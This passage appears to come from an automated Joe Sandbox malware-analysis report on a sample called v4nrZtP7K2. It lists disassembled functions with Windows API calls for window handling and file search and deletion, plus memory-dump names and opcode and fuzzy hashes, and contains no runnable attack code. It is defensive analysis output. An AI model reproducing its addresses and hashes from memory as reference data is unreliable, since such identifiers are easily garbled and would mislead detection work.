SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

, xrefs: 00405385
M, xrefs: 00404F76
N, xrefs: 00405057

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,76F92EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,76F92EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,76F92EE0,00405B1A,?,00437800,76F92EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 37607B4F Relevance: 3.1, Strings: 2, Instructions: 611COMMON

Download Yara Rule

Strings

BV7, xrefs: 376083D4
.5q, xrefs: 37607C7B

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: .5q$BV7
API String ID: 0-1588251371
Opcode ID: b82679917982043c81960b04b0e6725d26dcb9ed75ff45bde434cd4f5e9cc2e1
Instruction ID: 1c61451499e7b453c2ad4a11067d1db8c1bb4727a0a4cb0932062e604542ad2f
Opcode Fuzzy Hash: b82679917982043c81960b04b0e6725d26dcb9ed75ff45bde434cd4f5e9cc2e1
Instruction Fuzzy Hash: 42628C74A01228CFDB68DF65C894BDDBBB2BF89301F1081EAD409AB255DB359E81DF50

Function 3694DEE1 Relevance: 1.5, Strings: 1, Instructions: 275COMMON

Download Yara Rule

Strings

_7,, xrefs: 3694DEE9

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: _7,
API String ID: 0-3251406154
Opcode ID: e70570c027c08f36dd6c202a7ca29ab9fc1e370ad214f85841364b873386f62d
Instruction ID: bc709cf4b5c4628d249a2ec263afaec62e9914ab4d23f13b000324f46b4081a1
Opcode Fuzzy Hash: e70570c027c08f36dd6c202a7ca29ab9fc1e370ad214f85841364b873386f62d
Instruction Fuzzy Hash: 84C1B174E00218CFEB15DFA5D994B9DBBB2BF89300F2081A9D409AB355DB359E85CF50

Function 37608193 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

BV7, xrefs: 376083D4

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: BV7
API String ID: 0-203228933
Opcode ID: 419e79016b9a9e7584b5b1a9a26f61bb3a3a5e831b3fcdcba0d3348ce1372d67
Instruction ID: 230a492a9fd7cdafc3a1b007702aa4c361036f4d19723d1e441a6f05b7757f2e
Opcode Fuzzy Hash: 419e79016b9a9e7584b5b1a9a26f61bb3a3a5e831b3fcdcba0d3348ce1372d67
Instruction Fuzzy Hash: 08A19D74A05228CFDB68DF64C854BD9BBB2BF8A301F5085EAD40DA7250DB319E81CF51

Function 37608373 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

BV7, xrefs: 376083D4

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: BV7
API String ID: 0-203228933
Opcode ID: c18b2838c8f768ec0b9fcdcca7bcf25e640401c852d6a22eec6014bfd8f59058
Instruction ID: af237f9e485e06f5a5d0153fd337b25b713f5cabb7a8790c6f15272511f309a3
Opcode Fuzzy Hash: c18b2838c8f768ec0b9fcdcca7bcf25e640401c852d6a22eec6014bfd8f59058
Instruction Fuzzy Hash: 7E519274A01228CFDB69DF64C854BADBBB2BF4A301F5095E9D40AA7350CB359E81CF50

Function 3694F042 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa0aa7e3db657be024bb68e89ac7d325515fdc24ab2fb6a23ad95aaed96452d
Instruction ID: cd5bbd58907018dc8467ec8c1c5aa1d814ea38941b02a8c37802b99be94745e2
Opcode Fuzzy Hash: 4fa0aa7e3db657be024bb68e89ac7d325515fdc24ab2fb6a23ad95aaed96452d
Instruction Fuzzy Hash: D8C1C074E00218CFEB15DFA5D994B9DBBB2BF89300F2080A9D409AB365DB359E81CF10

Function 3694BD88 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e20a0ec756757054c3f0c96a5b6e903e3efa66519e399676a03415bfb267a5a
Instruction ID: 0ab44b30e1061eea0c60d6d212296dc7dbd61f8f581b03a6673ead6c9084f164
Opcode Fuzzy Hash: 9e20a0ec756757054c3f0c96a5b6e903e3efa66519e399676a03415bfb267a5a
Instruction Fuzzy Hash: 79C1B174E00218CFEB15DFA9D994B9DBBB2BF89310F2081A9D409AB355DB359E85CF10

Function 3694B07F Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be72a2ee32fcb8c68c5f9708bf3a5b99796a0e199fbfbcca1582c774c276333d
Instruction ID: b6505732e6df3a788c2c87d1a90f243c08b61a319069678c55a2c699ec9d87a5
Opcode Fuzzy Hash: be72a2ee32fcb8c68c5f9708bf3a5b99796a0e199fbfbcca1582c774c276333d
Instruction Fuzzy Hash: EFC1C174E00218CFEB55DFA5D994B9DBBB2BF89300F2081A9D409AB365DB359E81CF10

Function 3694DA89 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3853836b8cbeb4ea7ba63e5c4723d03d1cf4730837bc85ea4c58585c892f77a7
Instruction ID: dd1f0897c0a9c684aceaeb943bbe8b3d540a434e1a2a23f0f6c37f2998f77f95
Opcode Fuzzy Hash: 3853836b8cbeb4ea7ba63e5c4723d03d1cf4730837bc85ea4c58585c892f77a7
Instruction Fuzzy Hash: 7FC1C174E00218CFEB55DFA5D994B9DBBB2BF89300F2081A9D409AB365DB359E85CF10

Function 3694E339 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160420635cf599a1da4f5b806eba20fff7972ab77499712e1f401dab9e4ad303
Instruction ID: c9e080b2a6e331565b71ae6154c5dd03979ae2c57badb833607211d38750d570
Opcode Fuzzy Hash: 160420635cf599a1da4f5b806eba20fff7972ab77499712e1f401dab9e4ad303
Instruction Fuzzy Hash: AFC1B174E00218CFEB55DFA5D994B9DBBB2BF89310F2080A9D409AB365DB356E81CF11

Function 3694E79E Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a0267e7902ce06eceb193efde7de93824cc3b8e5a492ba1fdc4f470fa5ad4f6
Instruction ID: 45be2397d62ff32a2940448c29705b162cbd5fe8e0bf31cd57a06147a9e2bee1
Opcode Fuzzy Hash: 4a0267e7902ce06eceb193efde7de93824cc3b8e5a492ba1fdc4f470fa5ad4f6
Instruction Fuzzy Hash: ADC1B074E00218CFEB55DFA5D994B9DBBB2BF89300F2081A9D409AB365DB355E81CF50

Function 3694EBF6 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc8b1b8db0fa778f78e58f3dd66000ca479235bfe7545c503895a92b7a888074
Instruction ID: a14c3ed36a27878d559eec9bf7c1102c0fe02f52e2b2b45814aba5b3f2df0434
Opcode Fuzzy Hash: dc8b1b8db0fa778f78e58f3dd66000ca479235bfe7545c503895a92b7a888074
Instruction Fuzzy Hash: 8FC1B174E00218CFEB55DFA5D994B9DBBB2BF89300F2080A9D409AB355DB35AE81CF51

Function 37603F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52f40f8129c511df2011cf0589554f6745c5fbf62503ebf4cc78c4344693be4c
Instruction ID: 5e206662f749ec322ca803febcbb92226f4ece5554ba1f0bed4c7792e88dbf9b
Opcode Fuzzy Hash: 52f40f8129c511df2011cf0589554f6745c5fbf62503ebf4cc78c4344693be4c
Instruction Fuzzy Hash: 1CC1B074E00218CFEB14DFA5D994B9DBBB2BF89300F2080A9D409AB365DB356E81CF51

Function 37605F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dbbb56fd53eaf4f8f0c4ac219bde35f2724902a1f6d58fb0bef69ea2a49e772
Instruction ID: 6ee38f42b494d5e7c8900daa57f709c94e5aca47b874d04a9b4a2e392b4205a7
Opcode Fuzzy Hash: 8dbbb56fd53eaf4f8f0c4ac219bde35f2724902a1f6d58fb0bef69ea2a49e772
Instruction Fuzzy Hash: 7AC1C074E00218CFEB54DFA5D994B9DBBB2BF89300F2080A9D409AB355DB356E81CF11

Function 37600FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 956528e598646679c71aada792961d1f2438cb79b2e1c88f0d3953d2d5894ee0
Instruction ID: 0c744a95d859f32369b77fe7c3496c8a7cdab3fb3608532193f598ceef11e265
Opcode Fuzzy Hash: 956528e598646679c71aada792961d1f2438cb79b2e1c88f0d3953d2d5894ee0
Instruction Fuzzy Hash: 31C1B174E00218CFEB58DFA5D994B9DBBB2BF89300F6080A9D409AB355DB356E81CF11

Function 37605660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 839beee52fd03ac3ca867ac2ae48f5b6b58f73e771b93d9d91ea39e64b4df063
Instruction ID: 374cea75aec4e8960b5f693432554899d914d2874ae54f44a230e536fffa2f4e
Opcode Fuzzy Hash: 839beee52fd03ac3ca867ac2ae48f5b6b58f73e771b93d9d91ea39e64b4df063
Instruction Fuzzy Hash: 3BC1B174E00218CFEB14DFA5D994B9DBBB2BF89310F2080A9D409AB365DB356E85CF11

Function 37602E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 390d5cd0a15497470eda5fc1b7a12d21fd7f1a0527a3caeaf059787d478d09c6
Instruction ID: 7da8d9c9a5f7dda11169c6c177429cd6fa7c2c51976045283f59bc92b62d56e7
Opcode Fuzzy Hash: 390d5cd0a15497470eda5fc1b7a12d21fd7f1a0527a3caeaf059787d478d09c6
Instruction Fuzzy Hash: DBC1B174E00218CFDB14DFA5D994B9DBBB2BF89310F1080A9D809AB365DB356E85CF11

Function 376036C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f39ea1b974c2046cf08db948d686ac978eab8b1e1fac80f0fa472d8a64de2c1
Instruction ID: 519ee6ceb7a51c38a3fe7c12c2fecb5dc7f94c4f14d181e2d2c742f18daff011
Opcode Fuzzy Hash: 0f39ea1b974c2046cf08db948d686ac978eab8b1e1fac80f0fa472d8a64de2c1
Instruction Fuzzy Hash: 30C1B074E00218CFEB14DFA5D994B9DBBB2BF89311F2080A9D409AB355DB35AE85CF11

Function 37602560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2f9b8d7abd7b7e56ebf9acc228c1507bc26e05f110b65a2366b2207b43c828d
Instruction ID: 26af441dc21cde97da3969fbc9e72a302526477971ce319b45a1e6fe09bd24bc
Opcode Fuzzy Hash: d2f9b8d7abd7b7e56ebf9acc228c1507bc26e05f110b65a2366b2207b43c828d
Instruction Fuzzy Hash: 6FC1A074E00218CFEB54DFA5D994B9DBBB2BF89310F2080A9D409AB355DB35AE85CF11

Function 37604DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55405e9504dbf70f1e899b2840d483d023450cfec2b5fac372c1ed86c5d4612d
Instruction ID: efae88b98487371082b54b5905cf0ee52894b3d2492e421c6d2f10d1a69e412e
Opcode Fuzzy Hash: 55405e9504dbf70f1e899b2840d483d023450cfec2b5fac372c1ed86c5d4612d
Instruction Fuzzy Hash: FAC1B074E00218CFEB14DFA5D994B9DBBB2BF89300F2080A9D409AB355DB356E85CF51

Function 37601400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbbc9cee340779892d1e5d2ae958e5493c6dd8732df7fc014938267425f9c778
Instruction ID: 9126ac98598829b30d8fa2fcb1a46520ba08844f3d76cb1ea549bce67d296756
Opcode Fuzzy Hash: dbbc9cee340779892d1e5d2ae958e5493c6dd8732df7fc014938267425f9c778
Instruction Fuzzy Hash: AFC1B174E00218CFDB18DFA5D994B9DBBB2BF89310F6080A9D409AB355DB356E81CF11

Function 37606C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b777d88a9e59dc721967db60b6fcf26add9bbfe53c10902933c7e3f41aa0bdf
Instruction ID: b603cd5a0ca0e129eff78948897c0a861632e5b1c8c29e14ba11bbb8d1512db1
Opcode Fuzzy Hash: 6b777d88a9e59dc721967db60b6fcf26add9bbfe53c10902933c7e3f41aa0bdf
Instruction Fuzzy Hash: 57C1B174E00218CFEB14DFA5D994B9DBBB2BF89310F2081A9D409AB355DB356E85CF11

Function 376074C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa9b235bdd02150c0efe064ab16bf28c13a43cd8a6e6e688cb43e2ca213d2ed
Instruction ID: de5bdd6c3d94495380b7dc657034ba8c37a8892968f35854f22b67395f8471e8
Opcode Fuzzy Hash: cfa9b235bdd02150c0efe064ab16bf28c13a43cd8a6e6e688cb43e2ca213d2ed
Instruction Fuzzy Hash: E4C1B074E00218CFEB54DFA5D994B9DBBB2BF89310F2080A9D409AB365DB356E85CF11

Function 37601CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7097ad6e98c8df15cc68a279c65b261be624cbb5497844b294cbd844e7da123
Instruction ID: 963a2e705b683543aca978dc9bc3718a1bcc27bf04f6851c9f0bb446d492afca
Opcode Fuzzy Hash: f7097ad6e98c8df15cc68a279c65b261be624cbb5497844b294cbd844e7da123
Instruction Fuzzy Hash: F3C1B174E00218CFEB14DFA5D994B9DBBB2BF89310F6081A9D809AB355DB356E81CF11

Function 37606368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8546c3d6ef13e1a8cf7fed2de312ca4b3fbbfef1052c1c020cb534a374400dbf
Instruction ID: ccb163b325c20f78612ec07260dca71f99fc59175c975f15d6ee01296267855a
Opcode Fuzzy Hash: 8546c3d6ef13e1a8cf7fed2de312ca4b3fbbfef1052c1c020cb534a374400dbf
Instruction Fuzzy Hash: 50C1B174E00218CFEB14DFA5D994B9DBBB2BF89310F2080A9D409AB365DB356E85CF11

Function 37603B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7674aa6dd5bd5b0d71b698ce646b7323df56e015d93d71dc882255d7a7ca79b5
Instruction ID: 33f742936848d06df4da2937ead66df42a9c12225721756f64b23b826741dd77
Opcode Fuzzy Hash: 7674aa6dd5bd5b0d71b698ce646b7323df56e015d93d71dc882255d7a7ca79b5
Instruction Fuzzy Hash: 3FC1B174E00218CFEB54DFA5D994B9DBBB2BF89311F2080A9D409AB355DB35AE81CF11

Function 376043C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7e3fe7224c1735083bdfd30549dbc1e4021338a04e62b88c0ae60a6d4706952
Instruction ID: fa425113e008e63e30970a818ee53dc22422a128ca2e49a051c515eb6c02473d
Opcode Fuzzy Hash: d7e3fe7224c1735083bdfd30549dbc1e4021338a04e62b88c0ae60a6d4706952
Instruction Fuzzy Hash: D0C1B174E00218CFEB54DFA5D994B9DBBB2BF89310F2080A9D409AB365DB356E85CF11

Function 37603268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c2216ccd211d5006e38585402b5fe06df87bc26f033c9e960499825067fc6c
Instruction ID: c021f735b30c52314372895fd27a905f12008c72b36bece8ecb3db8abc56bca4
Opcode Fuzzy Hash: 14c2216ccd211d5006e38585402b5fe06df87bc26f033c9e960499825067fc6c
Instruction Fuzzy Hash: 02C1B074E00218CFEB14DFA5D994B9DBBB2BF89301F2080A9D409AB355DB356E85CF11

Function 37605208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

